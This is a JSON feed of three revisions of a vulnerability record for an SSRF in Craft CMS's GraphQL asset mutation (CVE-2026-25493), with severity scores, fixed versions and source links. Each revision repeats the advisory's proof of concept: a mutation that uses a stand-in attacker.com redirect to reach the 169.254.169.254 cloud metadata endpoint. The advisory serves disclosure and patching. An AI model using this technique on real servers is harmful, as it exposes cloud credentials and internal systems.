{"items":[{"id":"NVI-00005401","kind":"vulnerability","title":"Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-8jr8-7hr4-vhfx","CVE-2026-25493"],"plain_summary":"OSV carries this publisher advisory for craftcms/cms, craftcms/cms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.8.22 for craftcms/cms. Confirm the publisher’s latest guidance.","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.16.18 for craftcms/cms. Confirm the publisher’s latest guidance.","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-3d1c0d6ffa721072fab20c0e59fe0c3c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-17T10:24:44.000Z","value":"6.5 MEDIUM (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-dc42e92abd3a468c34f548923ea5069f"},{"kind":"CVSS","as_of":"2026-06-17T10:24:44.000Z","value":"6.9 MEDIUM (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-dc42e92abd3a468c34f548923ea5069f"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.404%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.34657. Missing scores are unknown.","source_id":"sr-3d1c0d6ffa721072fab20c0e59fe0c3c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-8dc6d3685c5f05992bb27e35ffdf55c8","url":"https://github.com/advisories/GHSA-8jr8-7hr4-vhfx","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-8jr8-7hr4-vhfx","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.671Z"},{"id":"sr-dc42e92abd3a468c34f548923ea5069f","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25493","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-25493","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T01:40:47.597Z"},{"id":"sr-3d1c0d6ffa721072fab20c0e59fe0c3c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-25493","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.376Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"technology":"craftcms/cms","known_exclusions":[],"conditions_summary":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","public_affected_ranges":["ECOSYSTEM: introduced 5.0.0-RC1; fixed 5.8.22"]},{"certainty":"source_listed","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"technology":"craftcms/cms","known_exclusions":[],"conditions_summary":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0-RC1; fixed 4.16.18"]}],"null_published_at":"2026-11-07T22:29:23.460Z","source_updated_at":"2026-02-09T22:56:19.042Z","source_disclosed_at":"2026-02-09T20:35:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:10.671Z"},{"id":"NVI-00005401","kind":"vulnerability","title":"Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-8jr8-7hr4-vhfx","CVE-2026-25493"],"plain_summary":"OSV carries this publisher advisory for craftcms/cms, craftcms/cms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.8.22 for craftcms/cms. Confirm the publisher’s latest guidance.","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.16.18 for craftcms/cms. Confirm the publisher’s latest guidance.","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-3d1c0d6ffa721072fab20c0e59fe0c3c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.404%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.34657. Missing scores are unknown.","source_id":"sr-3d1c0d6ffa721072fab20c0e59fe0c3c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-8dc6d3685c5f05992bb27e35ffdf55c8","url":"https://github.com/advisories/GHSA-8jr8-7hr4-vhfx","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-8jr8-7hr4-vhfx","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.671Z"},{"id":"sr-3d1c0d6ffa721072fab20c0e59fe0c3c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-25493","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.376Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"technology":"craftcms/cms","known_exclusions":[],"conditions_summary":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","public_affected_ranges":["ECOSYSTEM: introduced 5.0.0-RC1; fixed 5.8.22"]},{"certainty":"source_listed","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"technology":"craftcms/cms","known_exclusions":[],"conditions_summary":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0-RC1; fixed 4.16.18"]}],"null_published_at":"2026-10-31T22:27:15.299Z","source_updated_at":"2026-02-09T22:56:19.042Z","source_disclosed_at":"2026-02-09T20:35:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:10.671Z"},{"id":"NVI-00005401","kind":"vulnerability","title":"Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-8jr8-7hr4-vhfx","CVE-2026-25493"],"plain_summary":"OSV carries this publisher advisory for craftcms/cms, craftcms/cms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.8.22 for craftcms/cms. Confirm the publisher’s latest guidance.","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.16.18 for craftcms/cms. Confirm the publisher’s latest guidance.","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-8dc6d3685c5f05992bb27e35ffdf55c8","url":"https://github.com/advisories/GHSA-8jr8-7hr4-vhfx","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-8jr8-7hr4-vhfx","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.671Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"technology":"craftcms/cms","known_exclusions":[],"conditions_summary":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","public_affected_ranges":["ECOSYSTEM: introduced 5.0.0-RC1; fixed 5.8.22"]},{"certainty":"source_listed","source_ids":["sr-8dc6d3685c5f05992bb27e35ffdf55c8"],"technology":"craftcms/cms","known_exclusions":[],"conditions_summary":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0-RC1; fixed 4.16.18"]}],"null_published_at":"2026-10-31T22:13:01.463Z","source_updated_at":"2026-02-09T22:56:19.042Z","source_disclosed_at":"2026-02-09T20:35:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:10.671Z"}],"next_cursor":null,"snapshot_revision":"42594"}